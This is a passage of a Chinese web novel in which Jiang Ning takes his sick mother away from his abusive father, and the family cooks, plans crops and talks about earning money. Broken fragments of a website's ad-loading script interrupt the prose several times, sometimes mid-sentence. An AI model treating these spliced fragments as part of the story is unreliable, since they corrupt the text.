“你——”姜宁正想骂回去,朱氏身子一软,他连忙把人扶好,“阿娘?阿娘!” 卫长昀背上一片都是麻的,看朱氏晕了,顾不上伤,跟姜宁一块扶住人。 姜宁急中生智,在朱氏人中狠狠掐了两下,又去掐他虎口,“娘,你别吓我。” 姜富贵也慌了,连忙站起来,只有姜大志,梗着脖子站那儿一点不关心。 姜宁掐了好几下,正打算让姜富贵把人背去找大夫,就见朱氏悠悠醒了。 “宁哥儿别慌,娘没事,不着急啊。” “你吓死我了!” 姜宁哽咽道:“走,我们去找大夫,你这病不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 能拖了。” “找什么大夫!”姜大志看人没事,刚才还不说话,这会儿又有底气了。 “家里没钱,钱都要给你大哥、二哥娶媳妇盖房的。” 姜宁心里的火一点压不住,回头瞪着姜大志,“姜富贵和姜万贯成家的事八字都没一撇,那钱你是要带进棺材吗?” 姜大志一听,脸色铁青,“你个丧门星,咒老子死?我今天直接把你们娘俩打死,倒省心了!” 周围看热闹的一听,连忙上来拉住姜大志。 吵架归吵架,出人命可就不行了。 到底都是庄稼人,平时八卦谁家的事,也不想出人命,一是晦气,二是怕。 “那你打死,死了你也得偿命!”姜宁飞快呛了一句,却在一片乱里,看向卫长昀。 他俩都扶着朱氏,这会儿手一动就能挨着。 姜宁悄悄扯了扯卫长昀的手指,飞快眨了下眼睛,然后继续嚷道:“反正我娘病了你也不给治,早死晚死都一回事,能拖着你一块,那也不亏。” 正要回家吃中饭的姜二伯父子经过,起初以为是谁家为了田埂占地打起来,结果听到姜大志的声音,这才挤进来。 不看不知道,一看不得了。 乱成一团了。 “你要不愿意治,就让我们带回去照顾,什么事我们担着。”卫长昀冷不丁出声,其他人纷纷愣住。 姜宁和卫家的婚事,坎子村的老少都知道。 毕竟姜大志为了这个,还得了卫大多年攒下的彩礼。 卫大拉扯下边三兄妹,能攒下几贯钱已是多了。 婚事又是病重了之后提的,大家明面不说,底下都知道,说是提亲,其实就是买了个人回去,替他照顾家里。 几贯钱、二十斤肉、一匹布就能买个人,多值当。 前些年镇上有人被拐了,听说那卖出去都至少十两。 姜宁擦了擦眼泪,一副可怜模样,漂亮的眼睛一圈都是红的。 “小叔说得对,爹你不愿意给娘治病,我替娘治病,就是、就是治不好,我也愿意伺候。” 现在朱氏躺在姜宁怀里,瞧着是起不了身,不找大夫来治,是不行了。 治病就得找大夫,身边还得有人照看。 姜大志脸上挂不住,又不愿意花钱给朱氏治病,“你愿意治就治,赶紧走!” 说完,朝周围的人一吼,“看什么看,没看过老子教训儿子啊!” 大家听他这么说,朱氏也醒了,悻悻散了。 只有姜二伯拿着锄头敲了敲地,“大志,你这、你这做的什么事?宁哥儿还小,卫家那边还都是娃娃,哪能——” “我家的事,用不着你操心。”姜大志正气头上,什么都听不进去,扛着锄头往家里走,还踹了脚姜富贵,“愣着干什么?你也想跟着去?” 姜富贵连忙否认,跟在屁股后边走了。 姜二伯叹了一声,问姜宁要不要上他家去,姜宁说不麻烦了,只要摇头走了。 他在想,娘要走了,家里衣服没人洗,饭也没人做了。 姜宁看着他们走远了,才收回视线,一边扶朱氏坐好,一边看卫长昀,“你怎么知道的?” 卫长昀一怔,返身拿了罐子,递给朱氏,“嫂嫂说了,想把婶子接家里去。” 所以,他记在心里,才能反应那么快。 20.第 20 章 树荫下,三人坐在一块,等着朱氏缓过劲来。 姜宁拿手扇着风,倒不是天多热,是刚吵了一架,气热的。 “那你反应真快,我还怕你不明白,幸好是你,换作别人可不一定能接上。” 卫长昀嘴角无意识上扬了些,“嫂嫂是什么时候想到这办法的?” 姜宁对“嫂嫂”两个字已经接受良好,主要不接受也没办法,他现在就是人家大嫂。 “阿娘晕过去的时候,我是真慌了,慌着慌着,就想出这法子。” 那会儿他真的慌了,生怕朱氏真出什么事。 可一听姜大志不愿意花钱找大夫,急中生智,立即想到利用姜大志抠门的心理,把人带回去。 当着那么多乡里乡亲的面,朱氏晕倒了,肯定得找大夫治病。 不治,那不是害人吗? 姜大志既然舍不得钱,姜宁就趁机给一个台阶,顺水推舟让姜大志把朱氏推给他来照顾。 这会儿,姜大志说不定还觉得解决了一个麻烦。 “宁哥儿,你这是……”朱氏喝了水,又歇了会,缓过劲来,虽然还烧着,却清醒了。 她听姜宁和卫长昀一人一句,不大明白。 “别管了,反正现在阿娘你跟我们回小河村。”姜宁站起来,活动活动胳膊腿,开始考虑要不每天跑会儿步,锻炼锻炼。 不然他这个身子骨,怎么下地干活,怎么发家致富啊。 朱氏一怔,犹豫道:“这、这我怎么能去?你都嫁出去了,那儿——” 姜宁连忙打断她的话,“我跟人成家了也还是你儿子啊,你还是我娘,难道你病了我还不能管你?” 朱氏还是担心,尤其怕姜宁被人说闲话,“宁哥儿,娘知道你心疼我,可我跟你去,遭人说了闲话,你这日子咋过?” “人家说人家的,嘴长在人身上,哪能管得过来。”姜宁眼珠一转,单膝蹲下来。 “阿娘,你跟我们回去吧,我这一阵可忙了,小小和小宝年纪小,你看我也没带孩子的经验,你就当帮我,好不好?” 说完,他眨眨眼,一双眼睛又明又亮,配上卖乖时的笑,让人说不出拒绝的话。 朱氏握住姜宁的手,叹了一声,往旁边卫长昀看去,见他也点头,便道:“那娘跟你们去。” 就知道,大人永远会心疼自己的孩子。 人渣除外。 朱氏身子还病着,走是走不回去了,幸好姜二伯父子回家后,把事给二伯娘一说,就赶了过来。 二伯娘还替朱氏收拾了几身衣服。 也是赶巧了,坎子村有一户人家,驮东西去镇上,要经过小河村旁边的山路口,可以捎他们一段。 从那边去小河村,走一炷香差不多。 “谢谢二伯、二伯娘。”姜宁扶着朱氏坐到板车上,“这袋糖你们拿回去吧。” “这哪能要你的东西,你现在不容易,别净想着往外拿了。”二伯娘把他手推回去,“你硬塞给我们,那你这忙,算我们瞎操心了。” “二伯……” “听你二伯娘的。心意我们心领了,你拿回去,正好给你娘冲水喝。” 姜宁望着面前朴实的两张脸,笑着“嗯”了声,“那我下回再来看你们。” “知道你是好孩子。”姜二伯叹气,摆摆手,“去吧,别在这儿耽误了,夜路不好走。” 卫长昀跟驾车的大叔坐前面,上去前,向姜二伯和二伯娘拱手,“今日,有劳二位长辈帮忙了。” 姜二伯负手站在那儿,身边站着二伯娘,目送他们三人离开。 - 大半个时辰后,三人终于回到坎子村。 朱氏烧得比来之前还厉害,姜宁和卫长昀商量后,他先带朱氏回家休息,卫长昀去接两个小的,顺道请大夫。 “阿娘,你先睡我屋里。”姜宁扶着朱氏进了房,“你躺会儿,我去烧点水。” 朱氏打量着眼前的屋子,虽简陋,却收拾得干净。 躺在床上靠着时,望向姜宁的眼神都是欣慰。 她的宁哥儿,来卫家受委屈了,可日子过得还成,她就放心了。 “宁哥儿。” 姜宁正要出去,听到朱氏喊自己,愣了愣回头,“阿娘,怎么了?” 朱氏温柔道:“娘看到你在卫家,没被欺负,心里就放心了。” 说完她眼里有些愧疚,“当初你爹要把你嫁给卫家大郎,我不同意,好好的哥儿怎么嫁给一个病了的人,可惜娘没用,拦不住,让你——” 姜宁才十七岁,嫁过来就成了寡夫,还没娘家撑腰,想也知道日子不好过。 闻言姜宁抿了抿唇,只匆忙点头,就出了房间。 看到朱氏这模样,他心里有些难受。 原本的姜宁已经不在了,他是另一个姜宁。 闷闷地走到厨房,生火时都心不在焉的,添柴时被火燎了一下,烫得他指尖缩了一下。 姜宁把手指放到凉水里泡着,叹了口气,拍拍脸颊。 现在可不是丧气的时候,况且他也可以孝顺朱氏,毕竟朱氏是个好人。 “阿娘,我水烧上了,我先给你敷块帕子,降降温,大夫一会儿就来。” 姜宁拿着帕子进屋,走到床边,把帕子放在朱氏额头上,“你要哪儿难受,就跟我说。” 朱氏“嗯”了声,“你也歇会儿,一来一回的,你爹又那个样子,累了吧?” 姜宁鼻尖一酸,老实地点了下头。 跑着一趟,一般人都觉得累,何况他这羸弱的身体。 跟姜大志对着大吵那会儿,他感觉脑子都缺氧,随时能晕过去。 屋里,母子俩一个躺着一个坐着,偶尔说两句话,半点没有生分、隔阂。 直到院子里响起小小、小宝的声音,姜宁才睁开半眯的眼睛,起身走到门口。 “宁哥哥!” 两小孩齐声喊了一句。 姜宁冲他俩一笑,目光移到后边的卫长昀和大夫身上。 卫长昀向他点了下头,低声跟大夫说了两句,走到门口时,让小小和小宝先听话,不耽误大夫看病。 “陈大夫。”姜宁侧身,让人进屋。 陈大夫是村里唯一懂得医术的人,不说精通,但一般的小毛病都能治。'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > “发热几天了?”陈大夫一进屋,坐下就问。 姜宁一怔,和卫长昀对视一眼,答不上来。 幸好朱氏人是清醒的,接过话,说是从昨儿夜里发现有些不舒服,应当是半夜烧起来的。 陈大夫听了,给她把脉,眉头微微皱着,表情不算严肃。 屋子里的人都不敢说话,屏息等着陈大夫看完。 “肺热引起的发热,我给你抓点药草,你们拿了煮水喝,一日两次,连喝三天,就能退热了。” 陈大夫打开随身带的药箱,“不是什么大病,不过不可劳累,也不能操心,少生气,吃食清淡一些。” 闻言姜宁松了口气,只是肺热引起的,那就还好。 听到不能劳累,他在心里把姜大志父子三人又骂了个遍。 等抓了药,又把陈大夫送走,姜宁才彻底卸下紧绷的神经,坐在房檐下的凳子上发呆。 小小和小宝进了屋里,在床边坐着,陪朱氏说话。 卫长昀从院子外回来,正好见姜宁坐在那儿发呆,他反手关了院门,径直走到他面前。 “我去熬药,嫂嫂去休息会儿。” 姜宁茫然地抬了下头,似乎没反应过来,一声没吭。 卫长昀很少见到姜宁这模样,低声轻笑,伸手在他面前晃了晃,“大夫说了没事,便不会有事。” 这下姜宁终于有反应了,“哦”了声,长出一口气,“我没事。” 卫长昀收起笑容,正色道:“你脸色很差。” 姜宁想辩解,对上卫长昀认真的眼神,一时开不了口,反而有些心虚。 “药我去煎,等好了,我再去王木匠家取东西,时辰还早,等回来再做饭也来得及。” 卫长昀声音不急不缓,少年声线偏低,却悦耳,“嫂嫂再不休息,怕也要病了。” 姜宁失笑,终于恢复了平时的模样,“没大没小,怎么还说起我来了?” 说着起身站了起来,“不过你说得对,我可不能病了。” 他惜命,也怕疼。 生病最难受了。 转身要进屋时,姜宁一愣,“阿娘住在我屋里,还病着,这屋子——” 卫长昀微怔的神色收起来,道:“小宝跟我一屋,婶子可以和小小一起,不过得等她病好了,这两日,你先和小小将就着。” 姜宁是哥儿,如果年纪小,跟朱氏一个屋一张床倒没事,可都已经成家,多少是不便。 反而是小小年纪小,姜宁跟她一块住两晚不碍事。 再者,小小也黏他。 “你这不愧是上了多年学的人,脑子就是转得快。”姜宁拍拍手,“那我进去躺会儿,你药好了叫我。” 卫长昀点头答应,站在原地没动,目送姜宁进了屋,才转身进厨房。 不大的家里,如今多了一口人吃饭,他得多努力些才行。 卫长昀盘算着怎么才能让姜宁轻松些,想下回赶集的时候,他在旁边支个摊,帮人写信、写家书也好。 价格低一点,总比去书馆请人写便宜。 他无其他长处,也只剩多读了几年书这一点了。 21.第 21 章 不知道是真累了,还是心里悬着的石头落地,姜宁躺到床上,眼一闭,就直接睡过去了。 梦里一片柔软,像是被云层轻轻托住一般,睡得很踏实。 等他再一睁眼时,外面的天色已经是傍晚,眼看着就要黑了。 人刚醒,还有些迷迷瞪瞪。 姜宁抓着头发坐起来,打了个哈欠,正要下床,突然探头嗅了嗅,竟然闻到了饭菜的香味。 脑袋一下清醒了,他这是睡过头了吧? 姜宁飞快下床穿好鞋,推开门,就见小小和小宝在院里坐着,面前摆了个碗,脚边堆的是玉米棒。 再往远一点看,卫长昀正在厨房里忙。 “宁哥哥,你醒了?” “你们剥这个做什么?” “二哥说,可以拿去磨面。” 玉米面?原来家里留的这些玉米棒是为了磨面。 也是,要是一次性都磨面了,还不好保存,尤其南方潮湿,现在密封技术也不行,哪怕放在缸子里,过个一年半载,也容易潮了。 姜宁揉一把两人的脑袋,抬脚往厨房走。 橱柜门、门栓、门轴都换上新的,卫长昀估摸又收拾打扫了一遍,哪怕厨房不算宽敞,看着却干干净净、规规整整的。 “怎么不叫醒我?”姜宁一边挽袖子一边说:“忙得够呛吧?” 厨房里还能闻到一点儿药味,是给朱氏熬药残余的。 卫长昀在姜宁跟小小他们说话的时候就注意到他了,在盆里甩了甩手上的水。 “正好。” 姜宁瞥眼锅里放的甑子,饭香勾得他肚子一下饿了,“饭快蒸好了?” 卫长昀点头,擦了擦手,“菜也切好了。” 姜宁一怔,忽地笑起来,“原来是这个正好。” 卫长昀低咳了声,给姜宁让出位置,“婶子第一天来,我怕做的不合她胃口。” 他做饭的水平,只能算可以吃,但绝对不到好吃的地步。 “今天吃清淡一点,我拿昨天的排骨汤煮个烫菜。”姜宁洗了手,瞥眼刷干净的锅,“你这下手打得真不错。” 卫长昀没接话,但没离开厨房,想看还有什么能帮忙的。 姜宁也没再接着说,心里庆幸,还好这一家都是爱干净的,连院子都每日扫。 要遇上邋遢的,他一个人收拾,想想都窒息。 姜宁一边做菜一边跟卫长昀商量下次赶集的事,还有那几块地种什么的规划。 水田肯定不用说了,就那么一亩不到,肯定是种稻子。 剩下的三块土地,一块得种玉米。好在玉米按一沟一沟种的话,土豆可以种在下边。 “过一阵就得撒种,玉米那块不动,还是种玉米跟土豆,边角可以牵几根南瓜藤。” 姜宁把自己的想法说出来,“剩下两块种豆子辣椒、小麦跟花生,你看怎么样?” 家里现在养得有鸡,大了能下蛋,还能孵小鸡崽,所以肉往后是不缺的。 种的东西,主要是为了应付两次赋税。 一次八月,一次秋收后,按照他们家的人口来算,得交三两白银左右,那就是三千文。 还得除掉日常开销,这手里可是紧巴巴的。 要是情况差点,赋税完了,家里也就掏空了。 “一切听嫂嫂的。”卫长昀说完后,想起什么,问道:“嫂嫂种花生是为何?” 姜宁道:“土豆片顶多再卖一两次,后边会卖得慢。除了辣椒面外,咱们得再想别的法子赚钱。” “嫂嫂是想用花生做些零食?”卫长昀点了下头,“只是盐水花生,各家酒楼、食肆已经有了,茶楼也会配。” “不做盐水花生,做点别的。”姜宁摇头,“五香味的,我自己调配方。” 至于辣椒,姜宁还有别的做法,就是糟辣椒。 这两次去集上,还有到处转悠,他发现了大家对辣味不抵触,而且也能吃辣。 所以他才要做辣椒生意,先占下这个市场,日后其他人就算研究出来了,那也是他先吃到红利。 “嗯。”卫长昀不再问,只道:“约摸下次赶集前,就要去地里撒种,插秧也这时候。” 闻言姜宁点点头,想到后院的菜地,“家里还有个菜园,不担心没吃的,葱姜蒜都在后边种,白菜萝卜光那儿也够吃了。” 卫长昀看向姜宁,端起出锅的菜,犹豫了下道:“下次赶集,我想支个摊在旁边,替人写信、写家书。” 他说完,眼睛一瞬不瞬盯着姜宁,难得露出了些忐忑。 姜宁转头看他,没立即接话,思忖片刻,才在卫长昀的踌躇里开口,“定好价了吗?” 平时姜宁说话的声音是清润的,今天大概是因为吵了一架,有些哑,反而显露出和平时不一样的温柔。 卫长昀心里一松,又恢复了少年老成的模样。 “之前在私塾里上学,和阿肆一起到镇上买书时听到过,一般是十文。” “你是想便宜些,这样别人就会来你这里?”姜宁擦擦手上的水,准备炒第二个菜,“可是你这样的话,书馆的先生,还有其他一样以卖字为生的人,说不定会记恨上你。” 卫长昀愣住,他没有想到这点,只想给家里减负担。 姜宁看他表情,就知道他没想到这一茬,“就按十文,不跟他们卷价格,咱们拼质量。” “你那一手字,写家书、写信可都能裱起来了。”姜宁眼珠一转,想了想,“也可以写一些诗笺,我可以做,你负责写就好。” 一句不知道有意无意的夸奖,让卫长昀顿时有几分无措。 “傻站着做什么,把菜端出去,这个青菜炒两下就好了。”姜宁唇角上扬,眼里都是笑意,“叫阿娘和两小崽子吃饭,记得——” 卫长昀这次学会抢答了,“洗手再吃。” 古代医疗水平不高,尽管也有外科记载,还有些大病治好的奇迹,可对他们来说,锻炼身体、预防生病才是最好的保障。 病从口入这一点,就是最简单的防范。 下午朱氏喝了药,又睡了一觉,精神好了很多。 夜色刚刚降临,一家人围在堂屋的方桌旁,两菜一汤,陪着甑子饭,虽然不富足,却也温馨。 “宁哥儿,这些……”朱氏看着碗里的肉,有些诧异,又有些担 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 心,“不用这么浪费。” 姜宁听完,反应了下才明白朱氏在担心什么,“不是因为你来才买的,平时我们也吃。” “平时也吃?”朱氏惊讶地瞪大眼,看向旁边两个孩子,一点不觉得吃肉新鲜,似乎习惯了。 小小啃着骨头,一双眼睛圆溜地转着,“奶奶,我作证,是昨天赶集买的。” 小宝立即附和,“宁哥哥和二哥赶集买的,可好吃了!” 姜宁听他俩献宝一样的话,笑道:“就你俩知道。把嘴里的东西咽下去,当心噎着。” 卫长昀看了他俩一眼,两人立即乖乖吃饭,不再说话。 “阿娘,你就放心在这里住,先把病养好最重要。”姜宁宽慰她道:“过两天我跟长昀要去地里忙,你正好可以在家陪两个孩子。” 朱氏“哎”了一声,点点头。 这顿晚饭对姜宁来说,意义不太一样,算得上是团圆饭了。 晚饭后,朱氏被姜宁送回屋里休息。 尽管心里还惦记着怕给姜宁添麻烦,一想到后面能帮上忙,又心安不少。 等姜宁抱着一摞衣服从屋里出来,正好碰到卫长昀牵着小宝回他屋里。 “二哥,我想跟小小一个屋。”小宝揉着眼睛,困得不行,“为什么要跟二哥睡?” 卫长昀揉了揉他的脑袋,“因为你长大了,得和妹妹分开睡。” “我还小。”小宝耍赖,撒娇说:“你看我才这么高。” 卫长昀瞥眼才到自己腰的小宝,竟然一时找不到反驳的话。 姜宁走过去,微微弯腰,“因为奶奶要在家里住下来,奶奶病好了会和小小住一起,所以小宝你得跟二哥住。” “那奶奶单独住,宁哥哥和二哥住,我就可以和小小一起了。”小宝仰着头,一脸天真地安排。 姜宁:“……” 抬眼朝卫长昀看去,俩人眼神对上,卫长昀立即挪开。 见状,姜宁轻轻笑了下。 他要不是什么哥儿,那他还真可以和卫长昀睡一个屋,还方便一起商量挣钱的事。 “因为我是你大嫂,哪能跟你二哥一起睡。”姜宁耐心解释,不回避小孩的问题。 小宝似懂非懂地点了下头,“那还是我跟二哥一屋。” “好了,今天都早点休息。”姜宁直起身,看向卫长昀,“今天陪着我折腾了那么久,你也早点休息,书可以明天再看。” 卫长昀怔了怔,没接话。 姜宁微微歪了下头,“免得你又以为我在逼你读书。好了,我回屋了。” 他的确希望卫长昀好好上学,但不是为了考共鸣,而是因为读书有用的。 卫长昀“嗯”了声,目送姜宁进屋。 房门关上,烛光跳动的影子,和姜宁的身影映在窗户上,隔着门,能听到小小开心的说话声。 “二哥,被子里好冷!” 小宝的声音从屋里传来,卫长昀收回视线,转身也回了屋。 春日的夜里,风并不大,偶尔吹动树叶,也只有细微的沙沙声。 等这一阵春雨绵绵的天气过去,就能迎来万物盎然的季节。 22.第 22 章 朱氏的病不是什么大病,疲劳加上风寒引起的肺热,只要好好休息几天,就能好彻底。 养病这几天,姜宁和卫长昀几乎不都不让朱氏做什么事,就帮忙照看下两个孩子。 姜宁腾出空来自己的事,又有卫长昀在一边帮忙,要拿去镇上买的辣椒面,加班加点做出来不少。 土豆片是现炸的,所以提前一天准备就行。 “这些辣椒面,到时候论斤卖,价格肯定会贵一点,不过可以按照小罐卖,得先准备一些竹筒。” 卫长昀坐在小凳子上,回头看姜宁,“明天我去山上砍几根竹子,要装辣椒的话,得先晒干。” 生竹里有水分,不晒干的话,容易回潮。 “那行,明天再去,今天先把这些做了。”姜宁估了一下手里的活,下午就能弄完。 那今天可以好好休息,都忙了几天。 前两天他俩去把玉米和土豆种了,旁边还撒了一点去年留下来的南瓜种。 就这一块地,把他俩都折腾得够呛。 播种还好,主要是前期肥土,还有后面两天浇水的事。 过了开春那一段时间的雨季,雨量就少了很多,地里都得靠自个挑水去浇,不然没过几天就要干。 卫长昀“嗯”了一声,从一堆花生里挑出发芽的,这样才能当种。 等赶集回来,他们就得把辣椒、花生和豆子、小麦种下去。 姜宁把雷钵里的辣椒面装进陶罐里,两只手抱着拿进厨房的柜子,关柜门时,忽地瞥见放在角落里的几个陶罐。 姜宁轻轻“哎”了声,选了其中小的一坛,掀开一条缝,酸味立即飘了出来。 “什么味道?”卫长昀进来拿东西,嗅了嗅,闻到了一股明显的酸味。 不是东西臭了发出的酸味,而是一种他从来没闻过的味道。 姜宁蹲在那儿,抬起头看卫长昀,“前一阵我们用毛辣果做的酸汤,差点忘了。” 卫长昀拿了麻布,走到他旁边停下,“是做好了?” “可以试试,反正这一坛比较小,要是没成功也不碍事。”姜宁心态好得很,不怕失败。 土豆片和辣椒面能一次性成功,他都觉得蛮不可思议了。 尤其是辣椒面,之前家里全都是买的,只有糊辣椒才是自己做的,因为得调秘制蘸水。 “那要怎么知道是不是成功了?”卫长昀问完,想起之前一家去地里摘毛辣果的时候,姜宁提到的酸汤鱼,“酸汤鱼?” 姜宁点点头,笑起来,“对,酸汤鱼。” “那我去河里抓一条,人多的话要不要两条?”卫长昀快把花生种挑完了,正好得空。 “河里的鱼,好抓吗?”姜宁小时候也去河里玩过,但除了枯水季,能在石头里抓螃蟹、摸虾外,基本没抓到过鱼。 卫长昀难得笑着点头,“我小时候经常去河里玩,能抓。” 姜宁挑了下眉,好奇问:“你小时候还这么皮啊,一个人去河里抓虾摸鱼?” 这段时间卫长昀表现得太过少年老成,他都快忘了这人比自己还小一岁。 男孩小时候,大多都淘气。 只是没想到卫长昀也有这个时期,就连刚才说话的时候,都明显比平时看上去要鲜活。 “有。”卫长昀只愣了一下,就坦然承认了。 他不是生来就失去父母、失去大哥,也有父母健在、兄长在上的时候。 家里虽不富裕,却也能温饱。 所以他十岁之前,一直都无忧无虑的,只需要专心上学,完成老师布置的功课。 其他时候除了农忙时会帮忙,都很自在。 “那你去抓吧,抓两条。” 姜宁一点不客气地说:“酸汤鱼很开胃,而且家里人多,多吃鱼可以补身体。” “还可以增强记忆力。” 辣椒面差不多做完,卫长昀简单把院子收拾了下,就拿上鱼篓去河边。 朱氏坐在院子里,正在给两个孩子重新把衣服缝补下,衣服身量大一些,小孩长得快,这样就不用经常换。 “二郎这是要去哪?”朱氏看卫长昀拿着鱼篓出去,问姜宁,“还去地里吗?” 姜宁正在院子里收衣服,打算抱回屋里,“他去抓两条鱼,咱们晚上吃酸汤鱼。” “酸汤鱼?”朱氏怔了一下,“你又什么时候学的?” 姜宁卖关子道:“晚上就知道了,先保密。” 旁边坐着吃果子的小小、小宝一听晚上吃鱼,兴奋地睁大眼睛,“宁哥哥,你又做好吃的了?” “是,好吃的。” 姜宁说完,直接进了屋。 昨天朱氏的病好了,搬过去跟小小住一个屋。 小小知道朱氏跟她一起住,还会扎很多小辫、编漂亮的发绳,没有不愿意。 姜宁还挺担心小小怕生的,幸好先相处了几日,加上朱氏是个温柔的人,所以没发生他担心的事。 不过朱氏才生了病,用过的被子和衣服,姜宁就趁着今天出太阳,拿出来都晒一晒。 紫外线杀菌,去去病气。 姜宁整理好衣服跟被褥,瞥了眼床头的陶罐,呼出一口气。 后天赶集,又可以攒一笔钱了。 不久之后,罐子满了,说不定他们可以去镇上住。 镇上人多一些,可以远离村里的七嘴八舌,离卫长昀上学的私塾也近点。 想到以后的日子,姜宁伸了个懒腰,往被子上一扑,忍不住笑出声。 - 卫长昀去了不到一炷香,回来时厨房正好在蒸饭。 姜宁听到动静,从厨房里探出头,眼睛弯了弯,道:“回来了?饭快熟了,你要不把鱼杀一下?” 他挺怕杀鱼的,还有杀鸡这些。 宰的话可以,但活的时候让他碰,那种挣扎、蹦跶的感觉,他就心里毛毛的。 “已经在河边处理好了。”卫长昀晃了晃鱼篓,“出去的时候带了把刀。” “那正好,我开始熬汤。”姜宁一听处理好了,嘴角的角度更明显。 卫长昀把手里的一包树叶,放到院里的小方桌上,招呼小小和小宝,“三月泡。” “三月泡熟了?是不是茶泡和羊奶果也可以吃了?”小小一下从朱氏身边扑过来,“我最爱了!” 小宝也跟着点头,话没说完,手已经伸过去抓了一把。 小小瞪了一眼小宝,抓着一把去找朱氏,“奶奶,你也吃。” 卫长昀往厨房看过去,只能瞥到那只挽起袖子的手。他眼神闪了闪,低头看了眼手里的另一包 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 树叶。 “鱼不用剁,你帮我把鱼切成大块就行,不要太小块。”姜宁看卫长昀进来,眼睛都没离开过锅,就出声嘱咐。 卫长昀答应了声,把叶子放到干净的灶台上,“三月泡,刚才去抓鱼,路边看到的。” 姜宁“啊”了声,一时没反应过来。 卫长昀以为姜宁没吃过,把鱼放下后,洗干净手才去打开树叶,“是这个。” 说完,想想又补了一句,“这一阵还有茶泡和羊奶果,覆盆子和桑葚也有,不过都是野果,得到山里去找。” 姜宁反应过来,偏头看过去。 汤碗差不多大的树叶摊开,里面是一堆橘红色的三月泡,看起来小小的,一粒一粒果肉团成一颗完整的。 “这里也有?”姜宁微微惊讶地问:“我还以为没有,那是不是——” 樱桃和杨梅也有了? 对了,还有刺梨。 姜宁擦了擦手,伸手去拿了几颗往嘴里放。 三月泡一颗也就小拇指大小,一颗吃起来没什么味道,得一把吃菜够味。 “是不是什么?”卫长昀问。 姜宁一口咬下去,酸甜的味道在嘴里炸开,微微眯了眼,“好好吃。” “对了,你说什么?” 卫长昀重复了一遍,姜宁“哦”了声。 “没什么,我就是在想杨梅、樱桃和刺梨这些是不是也有?平时镇上的酒,是不是以高粱酒为主?” “嗯,都是用高粱酿酒,或者米酒、青梅酒。” 卫长昀不知道姜宁怎么突然问这个,说了一些镇上会卖的酒。 姜宁听完眼睛亮了亮,“那就行,我们可以做梅子酒和刺梨酒,尤其是刺梨酒,肯定没人做。” 刺梨可是维生素之王,肯定能卖出去。 卫长昀不自觉地盯着姜宁看了会儿,听到姜宁问他鱼切好了没,才回过神来。 酸汤鱼的做法不难,最重要的就是汤底和鱼。 酿好的酸汤取适量放进锅里,加一点油,再把姜和蒜切片跟着翻炒,炒到味道出来,再往里放水和盐。 加水煮开之后,往里放上一把葱,再把豆腐、土豆和鱼一起放进去煮到熟,最后再放蔬菜就行。 姜宁守在锅边,闻着熟悉的味道,拿筷子尝了尝。 酸汤熬成了。 要是来点豆芽,还有木姜子油就好了。 不过可以留到下次,一家人还要过那么久的日子呢。 “出锅了,准备添饭!” 姜宁拍拍手,解下身上的围裙,朝正好进来拿碗的卫长昀道:“可以端出去了。” 家里还没有吃火锅的条件,而且现在天气逐渐热了,没空调、风扇吃火锅太热了。 用陶锅装正好,还可以保温。 一家五口人,齐齐坐在桌旁,你看我、我看你,最后一起看向姜宁。 姜宁哭笑不得,第一个伸了筷子。 他一动,其他人的筷子也伸出去了。 鱼肉软嫩、汤底开胃,完全没有平时鱼肉的土腥味。 小小最捧场,一脸满足地看姜宁,眼睛亮亮的,“好好吃!” 姜宁正准备夸她,旁边的卫长昀难得地也开了口。 卫长昀一脸认真,道:“好吃。” 23.第 23 章 一锅酸汤鱼,连带配菜全都消灭光了,连汤底都被舀起来喝了好几碗。 几个人吃完饭,统一姿势坐在椅子里,半躺着消食。 姜宁揉了揉肚子,偏过头看去,一排人都坐着,吃得餍足了,正在发饭晕。 只有卫长昀稍微坐得正些,不过神情比平时松弛。 “今晚的星星好亮,明天是个大晴天吧?” 姜宁仰头看着天,“还是晴天好,干什么都有劲儿。” “我也喜欢出太阳,这样不会到处都是泥巴。”小小大声附和,“鞋和裤子都会弄脏。” 小宝吃饱了,眯着眼,“镇上就不会脏了,那儿的路跟我们不一样。” 小小好奇道:“有什么不一样?” 小宝比划着形容,“我也不知道,我是听小秋哥哥家的三顺说的。” 说完,立即看向卫长昀,“二哥,你一定知道!” 卫长昀是知道,他不仅知道,还曾经住在镇上。 镇上和村里不一样,大街上都是青板石,小巷里是碎石头铺在一起,哪怕是下雨天,也只会湿了鞋边和裤腿,晾干了就行。 不像村里,沾上泥巴,得洗好几遍,浅色的料子还会留印。 “镇上也有不好的呀,没有这儿的山,不能随时摘到野果,也没有小河里的鱼,每一家都挨得近。” 姜宁说道:“在自家院里骂人,隔壁都能听到。” 两小的一听他的话,立即被转移了注意力,追着姜宁问。 旁边朱氏困得早,坐了一会儿便回屋休息了。 等姜宁哄好两个小的,让他们回屋睡觉,他自己都开始哈欠连天,不由感慨起来。 大好的假期时光,他不至于天天熬夜,但也是活跃到十一二点才睡觉。 现在天黑没多久就困了,真不知道该说睡眠好,还是娱乐少。 姜宁起身托着椅子走到房檐下,折回去打水洗漱。 这么规律的生活,比他高中都规律,真正的日出而作、日落而息。 好的是,他身体比刚来的时候要好不少。 至少不会干点活就喘个不停。 姜宁洗漱完,正要回屋,往卫长昀那屋瞥了眼,正好看到卫长昀侧着身,似乎正在伸手去够背。 那天的伤,还没好吗? “你要帮忙吗?” 卫长昀手一抖,手里的棉布掉在地上,一边拉起衣服一边去捡地上的东西。 手扶着门,没打开,“嫂嫂?” 姜宁站在门口,没直接进去,听他说话后,挠了挠脸,“我是看你好像要帮忙。” 卫长昀正要摇头,话就被姜宁抢了先。 姜宁再怎么神经大条,也知道他身为哥儿,夜里敲小叔子的门,会遭人非议。 可他也管不了人家怎么说,那些腌臜的话,早就有了。 “是不是上次姜大志打的那一棍还没好?”姜宁那天问过卫长昀,但卫长昀说没事,而且后边几天能挑能抬,加上忙,他就没再问。 现在看,那一棍的力道打在肩上,哪能好这么快。 想来也是,卫长昀的性子肯定硬撑。 恐怕还因为这一家子,都不方便。 他姜宁,是个哥儿。 卫长昀抿了下唇角,过会儿才道:“是今日抻了一下,所以才拿药酒揉一揉。” 